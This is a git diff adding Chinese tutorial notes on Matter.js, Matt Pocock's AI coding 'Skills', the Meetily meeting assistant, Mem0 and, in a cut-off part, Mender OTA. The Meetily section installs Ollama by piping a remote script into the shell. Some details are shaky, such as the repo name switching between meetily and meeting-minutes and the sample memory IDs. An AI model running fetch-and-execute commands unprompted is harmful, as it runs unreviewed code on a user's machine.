+4. **凹多边形直接当刚体**：需 `Bodies.fromVertices` 或拆成多个凸 part；复杂 SVG 要检查 `removeCollinear` 等选项。
+5. **每帧硬改动态体位置**：`Body.setPosition` 可用于传送，但频繁覆盖会与求解器冲突；运动学物体用 `isStatic` 或 `Body.setVelocity` 更合理。
+6. **与 Box2D 教程混读**：API 名称相似（Body、World）但调用方式不同；Matter 没有 Fixture 概念，形状焊在 Body 上。
+7. **Webpack 开发模式变慢**：官方 Wiki 提到部分 webpack 默认配置会影响热更新，见仓库 issue 中的 workaround。
+
+## 学习路径
+
+1. 打开官方 [Demo 页](https://brm.io/matter-js/demo)，点 Slingshot、Newton's Cradle、Bridge，对照 [Demo.js](https://github.com/liabru/matter-js/blob/master/examples/demo.js) 读实现
+2. 手敲「地面 + 两箱」最小 HTML，确认箱子下落并碰撞
+3. 去掉 `Render`，改用 `requestAnimationFrame` + `Engine.update`，把坐标画到自有 canvas
+4. 加 `Events.on` 碰撞回调，做一个「击中目标得分」小交互
+5. 读 [API 文档](https://brm.io/matter-js/docs/) 的 Engine、Body、Constraint、Query 四章
+6. 若要做关卡编辑：试用 [matter-tools](https://github.com/liabru/matter-tools) 或导出 `engine.world` 的 JSON 状态
+
+## 与其他方案对比
+
+| 方案 | 维度 | 特点 |
+|------|------|------|
+| **Matter.js** | 2D JS | 原生 JS、内置渲染/Runner、API 扁平，Web 教育/原型首选 |
+| **p2.js** | 2D JS | 更偏数值刚体，复合体强，需自绘 |
+| **box2d.js / planck.js** | 2D JS | Box2D 移植，关节模型与 C++ 一致，包体较大 |
+| **Box2D** | 2D C++ | 性能上限高，需绑定或非浏览器环境，见 [Box2D 笔记](./box2d.md) |
+| **Phaser Arcade** | 2D 游戏 | AABB 简化物理，非刚体旋转，适合平台跳跃轻量场景 |
+
+## 延伸阅读
+
+- 官方仓库：<https://github.com/liabru/matter-js>
+- API 文档（0.20.0）：<https://brm.io/matter-js/docs/>
+- Getting started Wiki：<https://github.com/liabru/matter-js/wiki/Getting-started>
+- 交互 Demo：<https://brm.io/matter-js/demo>
+- 调试工具：<https://github.com/liabru/matter-tools>
+- 作者 CodePen 示例：<https://codepen.io/collection/Fuagy/>
diff --git a/src/content/docs/projects/mattpocock-skills.md b/src/content/docs/projects/mattpocock-skills.md
new file mode 100644
index 000000000..286c6aad4
--- /dev/null
+++ b/src/content/docs/projects/mattpocock-skills.md
@@ -0,0 +1,218 @@
+---
+title: Matt Pocock 的 Skills — 给真实工程师的 AI 协作技能集
+来源: https://github.com/mattpocock/skills
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 一、先打个比方：厨师与菜谱
+
+你是一位厨师（程序员），厨房是你的 IDE。
+
+以前你全靠自己切菜、掌勺，翻车了只能重来。现在来了一个帮厨（AI 编码助手），但他从没在你厨房干过——他不知道该用哪种刀，不知道你的盐在哪，甚至把你说的"少许盐"理解为"满满一汤勺"。
+
+Matt Pocock 做的这套 Skills，就是一组**厨房里的标准操作流程（SOP）**。你告诉帮厨"先跟我聊聊你想做什么菜"（`/grill-me`），帮厨就不会闷头开火；你告诉他"这个 bug 我修不好"（`/diagnose`），帮厨就不会乱试，而是按步骤排查。
+
+核心理念就一句：**用小而可拼凑的流程，替代大而僵化的方法论。**
+
+---
+
+## 二、项目全景
+
+这个项目叫 **Skills For Real Engineers**。Matt Pocock 是知名的 TypeScript 作者，他长期用 Claude Code、Codex 等 AI 助手做真实项目，发现几个反复出现的翻车模式：
+
+1. 帮厨做了你想要的东西——但你以为的他没做
+2. 帮厨啰里啰嗦，一句话用二十个字说
+3. 帮厨写出来的代码跑不通
+4. 代码越写越乱，最后变成一团泥
+
+他的解决方案不是换工具，而是给每个常见问题准备一个**可复用的技能卡片**。这些卡片小而灵活，可以随便组合，适配任何 AI 模型。
+
+---
+
+## 三、核心概念
+
+### 概念 1：垂直切片 vs 水平切片
+
+这是 Matt 反复强调的一个设计模式。
+
+**水平切片**（错误做法）：先把所有测试写好（RED），再把所有代码写好（GREEN）。就像盖楼先把所有砖块叠好，再一次性盖起来——砖块可能根本对不上。
+
+**垂直切片**（正确做法）：一个测试 → 对应的代码 → 通过 → 下一个。每走一步都是完整可运行的。
+
+```
+错误（水平）：          正确（垂直）：
+RED:  测试1, 测试2     → 测试1 → 代码1 → 通过
+      测试3, 测试4     → 测试2 → 代码2 → 通过
+GREEN: 代码1-4         → 测试3 → 代码3 → 通过
+```
+
+### 概念 2：调试反馈循环是核心技能
+
+Matt 说："Everything else is mechanical." 调试最关键的一步是**建立反馈循环**——你能快速判断 bug 修好了还是没有。
+
+他有 10 种构建反馈循环的方法，按优先级排序：
+写测试 → curl 请求 → CLI 脚本 → 浏览器自动化 → 回放录制 → 搭建最小测试环境 → 模糊测试 → 二分查找 → 差异对比 → 人力脚本
+
+### 概念 3：共享语言减少啰嗦
+
+帮厨之所以啰嗦，是因为他不了解你们团队的行话。Matt 提倡建立一个 `CONTEXT.md` 文件，记录项目的专属术语。
+
+> 以前："课程中某个 lesson 被设为 'real'（即在文件系统中获得位置）时会出现问题"
+> 现在："存在 materialization cascade 问题"
+
+一句话，干净利落。
+
+---
+
+## 四、技能分类速览
+
+Matt 的 Skills 分为三大类：
+
+### Engineering（工程类）
+
+在代码层面直接起作用：
+
+| 技能 | 干什么 |
+|------|--------|
+| `/tdd` | 测试驱动开发，红-绿-重构循环 |
+| `/diagnose` | 结构化调试：复现 → 最小化 → 假设 → 验证 → 修复 → 回归测试 |
+| `/grill-with-docs` | 深度问答，帮你理清方案，同时更新 `CONTEXT.md` 和 ADR |
+| `/grill-me` | 快速问答，对计划穷追猛打 |
+| `/to-prd` | 把已有讨论转成 PRD 文档，直接发布为 Issue |
+| `/to-issues` | 把 PRD 拆成独立可认领的 GitHub Issue |
+| `/triage` | 通过状态机给问题分类处理 |
+| `/zoom-out` | 让助手从更高视角解释一段陌生代码 |
+| `/improve-codebase-architecture` | 拯救一团糟的代码库 |
+| `/prototype` | 快速搭一个一次性原型来验证想法 |
+
+### Productivity（生产力类）
+
+不直接写代码，但提升协作效率：
+
+| 技能 | 干什么 |
+|------|--------|
+| `/caveman` | 极致精简模式，减少约 75% 的 token 消耗 |
+| `/handoff` | 把当前对话压缩为交接文档，给另一个 AI 继续干 |
+| `/teach` | 跨多次会话教你一个新概念 |
+| `/write-a-skill` | 教你自己写技能卡片 |
+
+### Misc（杂项）
+
+偶尔用用的工具：
+
+| 技能 | 干什么 |
+|------|--------|
+| `/git-guardrails-claude-code` | 阻止危险的 git 操作（force push 等） |
+| `/setup-pre-commit` | 配置 Husky 前置提交钩子 |
+| `/scaffold-exercises` | 生成练习题目录结构 |
+
+---
+
+## 五、代码示例
+
+### 示例 1：`/caveman` — 极简沟通模式
+
+这个技能会把你的输出压缩到"原始人"风格，砍掉所有废话，节省大量 token。
+
+```
+# 正常模式
+> "Sure! I'd be happy to help you with that. The issue you're experiencing is likely caused by a bug in the authentication middleware, where the token expiry check uses a less-than operator instead of less-than-or-equal-to. I'll fix it now."
+
+# Caveman 模式
+> "Bug in auth middleware. Token expiry check use '<' not '<='. Fix:"
+```
+
+实际使用的效果：
+
+```
+# 用户问：为什么 React 组件会重新渲染？
+
+正常回答：
+> "React 组件在以下情况下会重新渲染：当组件的 state 发生变化时，
+> 或者父组件重新渲染且传入了新的 props。如果你在组件内部定义了一个
+> 内联对象作为 prop，每次渲染都会创建新的引用，导致子组件不必要的重..."
+
+Caveman 回答：
+> "Inline obj prop -> new ref -> re-render. useMemo."
+```
+
+注意：技术术语完全保留，代码块完全不变，只是砍掉了修饰词和连接词。
+
+### 示例 2：`/diagnose` — 结构化调试流程
+
+这是 Matt 认为最有价值的工程技能之一。它强制助手按步骤走，不能跳到结论。
+
+```
+# 完整诊断流程（六阶段）
+
+Phase 1: 建立反馈循环          ← 最重要的一步！
+  写测试 / curl / 浏览器脚本
+  目标：快速判断修好没有
+
+Phase 2: 复现 bug              ← 确认不是你在瞎想
+  跑多次确认一致
+  捕获确切症状（错误信息 / 错误输出 / 慢速）
+
+Phase 3: 提出假设              ← 至少 3-5 个，都要可证伪
+  "如果 X 是原因，那么改 Y 应该消失"
+  不能证伪的假设 = 瞎猜，扔掉
+
+Phase 4: 验证假设              ← 一次只改一个变量
+
+Phase 5: 修复
+
+Phase 6: 回归测试             ← 确保 bug 不会复发
+```
+
+关键规则：
+- 不能跳过任何阶段，除非明确说明理由
+- 提假设时必须给出**可验证的预测**
+- 必须先让**用户过目**假设列表，再动手验证
+- 如果实在建不起反馈循环，**停下来说实话**，不要硬来
+
+---
+
+## 六、怎么开始用
+
+安装很简单，三步搞定：
+
+```bash
+# 1. 运行安装器
+npx skills@latest add mattpocock/skills
+
+# 2. 选你想要的技能 + 选要装在哪种 AI 助手上
+#    确保选了 /setup-matt-pocock-skills
+
+# 3. 运行初始化
+/setup-matt-pocock-skills
+
+# 它会问三个问题：
+# - 用什么 issue tracker？（GitHub / Linear / 本地文件）
+# - 分类标签用什么词汇？
+# - 文档存哪？
+```
+
+---
+
+## 七、我的评价
+
+**值得学的点：**
+- 垂直切片思维（红-绿-重构）比任何框架都重要，这是结对编程几十年验证过的
+- 调试反馈循环是 Matt 最核心的洞察——没有它，一切调试都是瞎猜
+- Caveman 模式意外地实用，尤其是长对话中 token 快烧完的时候
+
+**需要留意的点：**
+- 这些技能是 Matt 个人经验的总结，不是银弹。每个团队的语言和问题不同，需要自己调整
+- 高度依赖 AI 助手的执行质量。如果助手本身能力不足，流程再完美也没用
+- 缺少对非 TypeScript 项目的指导（虽然项目本身是 model-agnostic 的）
+
+---
+
+## 八、小结
+
+Matt Pocock 这套 Skills 的本质，是把几十年软件工程最佳实践——测试驱动、垂直切片、结构化调试、共享语言——翻译成 AI 助手能听懂的操作指令。它不试图控制全局流程，而是给每个常见问题一张"小卡片"。需要时抽一张，用完放回牌堆。
+
+对于刚开始学编程的人，我建议从 `/caveman`（省钱）和 `/grill-me`（理清思路）开始试水，然后再慢慢接触 `/tdd` 和 `/diagnose` 这些更重的技能。
diff --git a/src/content/docs/projects/mcp-ts-sdk.md b/src/content/docs/projects/mcp-ts-sdk.md
index f49e48829..7576dae73 100644
--- a/src/content/docs/projects/mcp-ts-sdk.md
+++ b/src/content/docs/projects/mcp-ts-sdk.md
@@ -169,7 +169,7 @@ npm install -g @modelcontextprotocol/server-postgres
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[claude-agent-sdk]] —— Claude Agent SDK — 把 Claude Code 装进 npm 包
 - [[claude-code]] —— Claude Code — Anthropic 终端编程助手
 - [[librechat]] —— LibreChat — 让一份聊天 UI 同时连 OpenAI / Anthropic / Google / 本地模型，对话留在自己的服务器
diff --git a/src/content/docs/projects/meetily-ai-meeting.md b/src/content/docs/projects/meetily-ai-meeting.md
new file mode 100644
index 000000000..45c471e77
--- /dev/null
+++ b/src/content/docs/projects/meetily-ai-meeting.md
@@ -0,0 +1,244 @@
+---
+title: Meetily - 隐私优先的 AI 会议助手
+来源: https://github.com/Zackriya-Solutions/meetily
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# Meetily - 隐私优先的 AI 会议助手
+
+## 一、从日常类比开始
+
+想象你要参加一个很重要的会议。传统做法是你带个笔记本进去，事后自己整理要点。
+
+现在很多 AI 会议工具就像雇了个"云端秘书"——你把录音发到网上，秘书听完给你整理笔记。问题在于：你的会议内容可能涉及商业机密，谁都能看到这个秘书。
+
+Meetily 的做法是：请了个"家秘书"，就在你电脑里工作。录音 never 离开你的机器，转录、总结全在本地完成。这就是"隐私优先"的意思。
+
+## 二、Meetily 是什么
+
+Meetily 是一个开源的桌面应用，核心功能有三个：
+
+1. **实时录音转文字** — 开会时把声音变成文字，像开了个实时字幕
+2. **AI 自动总结** — 会议结束后，用 AI 模型生成摘要
+3. **全部本地运行** — 不需要联网，数据不离开你的电脑
+
+GitHub 上有 12.7k Star，2026 年 6 月发布了 v0.4.0 版本。
+
+## 三、技术架构
+
+Meetily 用了两种语言协作开发，这种搭配很有意思。
+
+| 层次 | 技术 | 职责 |
+|------|------|------|
+| 前端界面 | Next.js (TypeScript) | 你看到的按钮、文本框、录音状态 |
+| 后端引擎 | Rust | 录音采集、语音转文字、AI 总结 |
+| 打包工具 | Tauri | 把 Rust + Next.js 打包成一个桌面应用 |
+
+Tauri 是关键概念。它让你可以用 Web 技术（HTML/JS）写界面，用系统级语言（Rust）写逻辑，最后打包成 macOS、Windows、Linux 都能用的安装包。
+
+类比：前端是"装修好的展厅"，Rust 后端是"仓库里的机器"，Tauri 是"把两者装进同一个集装箱的卡车"。
+
+## 四、核心概念
+
+### 4.1 本地语音识别
+
+Meetily 内置了两个语音识别模型：
+
+- **Whisper** — OpenAI 开源的语音转文字模型，可靠、稳定
+- **Parakeet** — NVIDIA 开发的模型，速度比 Whisper 快 4 倍
+
+你可以选一个用。默认 Whisper 已经很好用了，追求速度就换 Parakeet。
+
+### 4.2 多种 AI 总结来源
+
+转录完文字后，Meetily 需要 AI 来生成会议总结。它支持多种来源：
+
+| 来源 | 特点 |
+|------|------|
+| Ollama | 完全本地跑，最隐私 |
+| Claude |  Anthropic 的模型，效果好但需要联网 |
+| Groq | 超快的云端推理 |
+| 自定义 OpenAI 兼容端点 | 用自己的 API |
+
+### 4.3 GPU 加速
+
+语音识别很耗算力。Meetily 支持 GPU 加速：
+
+- **macOS** — Apple Silicon 用 Metal，Intel 用 CoreML
+- **Windows/Linux** — NVIDIA 用 CUDA，AMD 用 Vulkan/ROCm
+- **无 GPU** — 纯 CPU 也能跑，只是慢一些
+
+## 五、代码示例
+
+### 示例 1：安装 Meetily（三种平台）
+
+Meetily 不需要编译也能用——直接下载安装包就行。
+
+**macOS：**
+
+```bash
+# 1. 从 GitHub Releases 下载 DMG
+curl -LO https://github.com/Zackriya-Solutions/meeting-minutes/releases/latest/download/meetily_0.4.0_aarch64.dmg
+
+# 2. 挂载 DMG 并拖到 Applications
+hdiutil attach meetily_0.4.0_aarch64.dmg
+cp -R /Volumes/Meetily/Meetily.app /Applications/
+hdiutil detach /Volumes/Meetily
+
+# 3. 启动
+open /Applications/Meetily.app
+```
+
+**Windows：**
+
+从 [Releases 页面](https://github.com/Zackriya-Solutions/meeting-minutes/releases/latest) 下载 `x64-setup.exe`，双击运行即可。
+
+**Linux（从源码构建）：**
+
+```bash
+# 克隆仓库
+git clone https://github.com/Zackriya-Solutions/meeting-minutes
+cd meeting-minutes/frontend
+
+# 安装依赖
+pnpm install
+
+# 构建（自动检测 GPU）
+./build-gpu.sh
+```
+
+### 示例 2：用 Ollama 做本地 AI 总结
+
+这是 Meetily 最推荐的 AI 总结方式——完全在本地运行，数据不出机器。
+
+**第一步：安装 Ollama**
+
+```bash
+# macOS 或 Linux
+curl -fsSL https://ollama.com/install.sh | sh
+
+# 下载一个模型（比如 llama3.2，约 2GB）
+ollama pull llama3.2
+```
+
+**第二步：在 Meetily 中配置**
+
+打开 Meetily → Settings → AI Provider，选择 Ollama，默认地址 `http://localhost:11434`，模型填 `llama3.2`。
+
+**第三步：生成会议总结**
+
+会议录音结束后，点击"Generate Summary"，Meetily 会把转录文字发给 Ollama，本地生成摘要。
+
+**第四步：编辑和调整**
+
+Meetily 有个内置编辑器，你可以修改生成的摘要、添加自己的备注。截图里的效果是：
+
+```
+Meeting Summary:
+- Discussed Q3 product roadmap
+- Agreed on feature prioritization
+- Action items assigned to team members
+- Next meeting scheduled for June 20
+```
+
+### 示例 3：从源码构建 Meetily
+
+如果你想研究代码或二次开发：
+
+```bash
+# 克隆仓库（需要 Git）
+git clone https://github.com/Zackriya-Solutions/meetily
+cd meetily
+
+# 项目结构：
+# ├── backend/        — Rust 后端代码
+# ├── frontend/       — Next.js 前端代码 + Tauri 配置
+# ├── llama-helper/   — Ollama 本地推理 helper
+# ├── docs/           — 文档
+# ├── scripts/        — 构建脚本
+# ├── Cargo.toml      — Rust 依赖管理
+# └── Cargo.lock      — 锁定依赖版本
+
+# 安装 Node 依赖
+cd frontend
+pnpm install
+
+# 开发模式（带热重载，改代码自动刷新）
+pnpm tauri:dev
+
+# 生产构建
+pnpm tauri:build
+```
+
+构建完成后，macOS 上的可执行文件在：
+
+```
+src-tauri/target/release/bundle/macos/Meetily.app
+```
+
+### 示例 4：Tauri 后端的核心 Rust 结构
+
+Meetily 的 Rust 后端用 Cargo 管理依赖。`Cargo.toml` 的关键部分：
+
+```toml
+[workspace]
+resolver = "2"
+members = [
+    "frontend/src-tauri",
+    "llama-helper"
+]
+
+[workspace.package]
+edition = "2021"
+rust-version = "1.77"
+
+[workspace.dependencies]
+anyhow = "1.0"           # 错误处理库
+serde = { version = "1.0", features = ["derive"] }   # JSON 序列化
+serde_json = "1.0"       # JSON 处理
+tokio = { version = "1.32.0", features = ["full"] }  # 异步运行时
+```
+
+这些依赖说明 Meetily 用了：
+- `serde` — 在 Rust 结构和 JSON 之间转换（比如把会议数据存到 SQLite）
+- `tokio` — 处理录音、网络请求等异步任务
+- `anyhow` — 处理各种错误（找不到音频设备、模型加载失败等）
+
+## 六、隐私为什么重要
+
+Meetily 解决的核心问题是：你的会议内容不该被任何云服务商访问。
+
+现实中的数据泄露代价：
+- 平均每次数据泄露成本：**440 万美元**（IBM 2024）
+- 仅 GDPR 罚款就超过 **58.8 亿欧元**
+- 加州今年已有 **400+ 起**违规录音案件
+
+Meetily 的方案很简单：不联网 = 不外泄。录音、转录、模型、摘要，全部在你的硬盘上。
+
+## 七、Meetily 的两个版本
+
+| | Community Edition | PRO |
+|--|-------------------|-----|
+| 转录 | Whisper / Parakeet（本地） | 更高精度模型 |
+| 总结 | Ollama / Claude / Groq 等 | 自定义模板 |
+| 导出 | 基本格式 | PDF, DOCX, Markdown |
+| 部署 | 单机 | 团队自托管 |
+| 价格 | 免费开源 | 付费 |
+
+社区版永远免费。PRO 适合需要更高精度和团队功能的用户。
+
+## 八、学到的东西
+
+1. **Tauri 是一个值得关注的框架** — 它让桌面应用开发可以用 Web 技术栈，同时保持系统级性能
+2. **本地 AI 正在变成熟** — Whisper + Ollama 的组合可以在没有网络的情况下做高质量的会议处理
+3. **隐私不是"功能"而是"架构"** — Meetily 从设计之初就决定不联网，而不只是加个"隐私模式"
+4. **Rust + TypeScript 是个好搭配** — Rust 处理重活（音频、AI），TypeScript 处理界面，各司其职
+
+## 九、下一步
+
+- [ ] 下载安装 Meetily 试试录音转文字功能
+- [ ] 安装 Ollama 体验完全本地的 AI 总结
+- [ ] 看一遍 `frontend/src-tauri` 下的 Rust 代码，理解 Tauri 命令系统
diff --git a/src/content/docs/projects/mem0.md b/src/content/docs/projects/mem0.md
new file mode 100644
index 000000000..73156a324
--- /dev/null
+++ b/src/content/docs/projects/mem0.md
@@ -0,0 +1,192 @@
+---
+title: Mem0 — 给 AI 助手装一个"长久记忆"
+来源: https://github.com/mem0ai/mem0
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 从"金鱼记忆"说起
+
+你用过 ChatGPT 吗？它有一个问题：每次打开新对话，它就彻底失忆了。它不记得你昨天说过"我不吃辣"，也不记得上周你提到自己在学 Python。
+
+这种"聊完就忘"的现象，在 AI 领域叫没有**长期记忆（Long-Term Memory）**。
+
+Mem0（读作"mem-zero"）要做的事很简单：给 AI 装一个记忆系统。就像你真的有个朋友，虽然隔了一周没见，但他依然记得你的喜好、你上次的决定、你提过的目标。
+
+Mem0 由 Y Combinator S24 孵化，开源协议是 Apache 2.0。
+
+## 核心概念
+
+### 1. 三层记忆（Multi-Level Memory）
+
+Mem0 把记忆分成三层，每一层对应不同的范围：
+
+| 层级 | 类比 | 说明 |
+|------|------|------|
+| **User Memory** | 你的个人档案 | 跨所有对话持久存储的用户偏好、习惯、身份 |
+| **Session Memory** | 一次聊天的上下文 | 当前会话内的临时记忆，会话结束自动清理 |
+| **Agent Memory** | 助手自己的经验 | AI 助手从执行任务中学到的决策和事实 |
+
+### 2. 信息提取 → 冲突解决 → 存储
+
+Mem0 存储记忆不是简单地把对话原文存起来，而是走一个三步流水线：
+
+1. **信息提取（Inference）**：LLM 从对话中"读懂"关键事实。比如你说"我最近在减肥"，Mem0 会提取出"正在减肥"这个结构化记忆，而不是存整句话。
+2. **冲突解决（Conflict Resolution）**：如果新信息和旧记忆矛盾，取最新的。比如你之前说"我喜欢咖啡"，后来又说"我不喝咖啡了"，Mem0 会更新。
+3. **向量化存储（Vector Storage）**：提取的记忆存入向量数据库（如 Qdrant），这样未来可以用语义搜索找到相关记忆。
+
+### 3. 混合搜索（Multi-Signal Retrieval）
+
+找记忆时，Mem0 不只是做语义匹配，而是同时用三种信号：
+
+- **语义搜索**：理解意思相近（"不爱吃辣" ≈ "口味清淡"）
+- **BM25 关键词匹配**：精确匹配关键词
+- **实体链接**：识别"张三"、"北京"等实体，跨记忆关联
+
+三种信号并行打分、融合，找到最相关的记忆。
+
+### 4. 时间感知（Temporal Reasoning）
+
+Mem0 能理解"现在"和"过去"。比如你"去年养了一只猫，但今年把它送人了"，当被问到"你有什么宠物"，Mem0 会根据时间判断——你现在没有宠物了。
+
+## 代码示例
+
+### 示例一：用 Python 快速上手
+
+这是最基础的用法：初始化记忆、添加记忆、搜索记忆。
+
+```python
+import os
+from mem0 import Memory
+
+# 设置你的 OpenAI API Key（开源版默认用 OpenAI）
+os.environ["OPENAI_API_KEY"] = "sk-xxxx"
+
+# 创建记忆实例
+memory = Memory()
+
+# 第一步：添加一段对话，Mem0 会自动提取关键事实
+messages = [
+    {"role": "user", "content": "我不吃猪肉，而且对海鲜过敏。"},
+    {"role": "assistant", "content": "好的，我会记住你的饮食偏好。"}
+]
+memory.add(messages, user_id="alice")
+# 返回: ["ate_no_pork", "allergic_to_seafood"] — 提取出的记忆 ID
+
+# 第二步：再加一条新信息
+messages2 = [
+    {"role": "user", "content": "我最近在学 Python，目标是三个月内写完一个小项目。"},
+    {"role": "assistant", "content": "很棒的计划！我会帮你记录这个目标。"}
+]
+memory.add(messages2, user_id="alice")
+
+# 第三步：搜索相关记忆
+results = memory.search("Alice 有什么饮食限制？", filters={"user_id": "alice"})
+print(results["results"])
+# 输出包含: "不吃猪肉"、"对海鲜过敏" 两条记忆
+```
+
+### 示例二：把记忆接入 AI 对话
+
+这是 Mem0 最有价值的用法——让 AI 在每次回答时"想起"用户的信息。
+
+```python
+from openai import OpenAI
+from mem0 import Memory
+
+openai = OpenAI()
+memory = Memory()
+
+def chat_with_memory(user_message, user_id="alice"):
+    # 1. 从记忆中检索相关信息
+    memories = memory.search(
+        user_message,
+        filters={"user_id": user_id},
+        top_k=3
+    )
+    memory_list = "\n".join(
+        f"- {entry['memory']}" for entry in memories["results"]
+    )
+
+    # 2. 把记忆拼入 system prompt
+    system_prompt = (
+        "你是一个贴心的 AI 助手。"
+        "在回答问题时，请参考以下用户信息：\n"
+        f"{memory_list}\n"
+        "如果记忆和用户当前问题相关，请优先使用这些信息进行个性化回答。"
+    )
+
+    # 3. 发送给 LLM 生成回答
+    messages = [
+        {"role": "system", "content": system_prompt},
+        {"role": "user", "content": user_message}
+    ]
+    response = openai.chat.completions.create(
+        model="gpt-5-mini", messages=messages
+    )
+
+    # 4. 记住这次对话（下次还能想起来）
+    assistant_reply = response.choices[0].message.content
+    memory.add(
+        [
+            {"role": "user", "content": user_message},
+            {"role": "assistant", "content": assistant_reply}
+        ],
+        user_id=user_id
+    )
+
+    return assistant_reply
+
+# 效果演示：
+# print(chat_with_memory("今晚吃什么好？"))
+# → AI 会想起"不吃猪肉、对海鲜过敏"，给出适合的推荐
+```
+
+### 示例三：平台版（Cloud 托管）
+
+如果你不想自己部署基础设施，Mem0 提供托管服务，用法更简单：
+
+```python
+from mem0 import MemoryClient
+
+# 只需一个 API Key
+client = MemoryClient(api_key="your-mem0-api-key")
+
+# 添加记忆
+client.add(
+    messages=[
+        {"role": "user", "content": "我住在北京，喜欢科幻电影。"},
+        {"role": "assistant", "content": "记住了！"}
+    ],
+    user_id="bob",
+    metadata={"category": "profile"}  # 可选：打标签方便筛选
+)
+
+# 搜索记忆（支持复杂过滤器）
+results = client.search(
+    "bob 的喜好是什么？",
+    filters={"user_id": "bob"}
+)
+
+# 更新记忆
+client.update("bob", "14e1b28a-...", memory="开始健身了")
+
+# 删除记忆
+client.delete("bob", "14e1b28a-...")
+```
+
+## 三种使用方式
+
+Mem0 提供三种部署模式，像乐高一样按需选择：
+
+| 方式 | 适合场景 | 运维成本 |
+|------|---------|---------|
+| **Library（pip / npm）** | 本地测试、原型验证 | 零，纯代码 |
+| **Self-Hosted（Docker）** | 团队内部部署，数据自控 | 中，需要维护向量数据库 |
+| **Cloud Platform** | 生产环境，不想管运维 | 低，即开即用 |
+
+## 一句话总结
+
+Mem0 的本质 = 一个中间件层，截获你和 AI 的对话，自动提取关键信息存在向量库里，下次对话时帮你"找回"相关信息拼进 prompt。它不关心你用什么 LLM、什么框架，只要输入对话、输出记忆，是个可以插到任何 AI 应用里的"记忆插件"。
diff --git a/src/content/docs/projects/mender.md b/src/content/docs/projects/mender.md
new file mode 100644
index 000000000..433065f03
--- /dev/null
+++ b/src/content/docs/projects/mender.md
@@ -0,0 +1,286 @@
+---
+title: Mender — 嵌入式 Linux 的 OTA 空中升级管家
+来源: https://github.com/mendersoftware/mender
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：给远程设备装「双保险换机系统」
+
+想象你在全国有 500 台自动售货机，每台跑 Linux，软件偶尔要修 bug、换版本。传统做法是：
+
+1. 派工程师带着 U 盘逐台刷机；
+2. 或者 SSH 进去 `apt upgrade`，中途断电就可能变砖；
+3. 出问题时没人知道哪台还在跑旧版本。
+
+**Mender 换了一种思路**：每台设备磁盘上划 **两个 rootfs 分区（A/B）**——平时从 A 启动，升级时把新系统整盘写到 **空闲的 B**，重启切到 B；若新系统起不来或没向服务器「报平安」，bootloader 自动 **回滚到 A**。类比成：
+
+| 现实世界 | Mender 对应 |
+| --- | --- |
+| 飞机备降跑道 | 备用 rootfs 分区（inactive） |
+| 塔台调度航班 | Mender Server 下发部署、分组、灰度 |
+| 机长定期无线电签到 | Client 轮询 HTTPS，上报状态 |
+| 新机长试飞 24 小时 | 首次启动后须 **commit**，否则回滚 |
+| 货运集装箱（整箱换） | **Artifact**（`.mender` 更新包） |
+| 只换零件不整架换 | **Update Module**（应用级增量更新） |
+
+Mender 由 [Northern.tech](https://northern.tech/) 维护，客户端与服务器端均为 **Apache 2.0 开源**（[mendersoftware/mender](https://github.com/mendersoftware/mender)）。典型场景：工业网关、零售终端、能源监测、车队设备——凡是需要 **大规模、可回滚、可审计** 的嵌入式 Linux OTA，都是它的主场。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 裸写 OTA 时 | Mender 的回应 |
+| --- | --- | --- |
+| 升级中途断电变砖 | 原地覆盖 rootfs，写坏即死 | A/B 分区 + bootloader 回滚 |
+|  fleet 版本不可见 | 每台设备各自为政 | Server 仪表盘：版本、在线、部署进度 |
+| 一次性全量推送风险大 | 一发全更，一台 bug 拖垮全网 | 分组、分阶段（phased）部署 |
+| 应用 vs 系统更新需求不同 | 一种脚本打天下 | rootfs 镜像 + Update Module 框架 |
+| 内网设备无法直连云 | 每台开入站端口不安全 | Client **出站 HTTPS 轮询**，无需开放端口 |
+| 与现有 Yocto/Debian 栈割裂 | 自研 updater 与构建链脱节 | `meta-mender` Yocto layer、Debian 镜像转换 |
+
+核心问题：**如何在不可物理接触的设备上，安全、原子地更新整个 Linux 系统或选定应用，并在失败时自动恢复？**
+
+---
+
+## 架构一览
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  构建侧（CI / Yocto / Jenkins / 工作站）                          │
+│  rootfs.ext4 / 应用包  ──►  mender-artifact  ──►  *.mender       │
+└───────────────────────────────┬─────────────────────────────────┘
+                                │ 上传
+                                ▼
+┌─────────────────────────────────────────────────────────────────┐
+│  Mender Server（微服务：API Gateway、deployments、deviceauth…）   │
+│  · 存储 Artifact  · 设备 inventory  · 调度 deployment           │
+│  · 分组 / RBAC / 审计（企业版增强）                               │
+└───────────────────────────────┬─────────────────────────────────┘
+                                │ HTTPS 轮询（出站）
+                                ▼
+┌─────────────────────────────────────────────────────────────────┐
+│  设备：Mender Client（managed 守护进程 或 standalone CLI）         │
+│  ┌──────────┐  ┌──────────┐  ┌──────────┐                       │
+│  │ rootfs A │  │ rootfs B │  │ /data    │  ← 状态、配置放 data   │
+│  │ (active) │  │(inactive)│  │ 分区     │                       │
+│  └──────────┘  └──────────┘  └──────────┘                       │
+│  U-Boot/GRUB：bootcount + mender.conf 控制 A/B 切换与 commit      │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+与容器化方案（如 resin.io / Balena）不同，Mender 主打 **整镜像 rootfs 更新**，更薄、更易嵌入已有 Yocto/Buildroot 栈；也支持通过 Update Module 做 **单文件、目录、Docker Compose** 等应用级更新。
+
+---
+
+## 核心概念
+
+### 1. Artifact（更新包）
+
+Mender 不直接传「裸 ext4」，而是把 payload 与元数据（设备类型、软件版本、依赖关系、签名）打成一个 **`.mender` Artifact**。Server 按 **device type** 匹配该发给谁。
+
+常用工具：`mender-artifact`（与 Client 配套，可独立安装）。
+
+### 2. Device Type（设备类型）
+
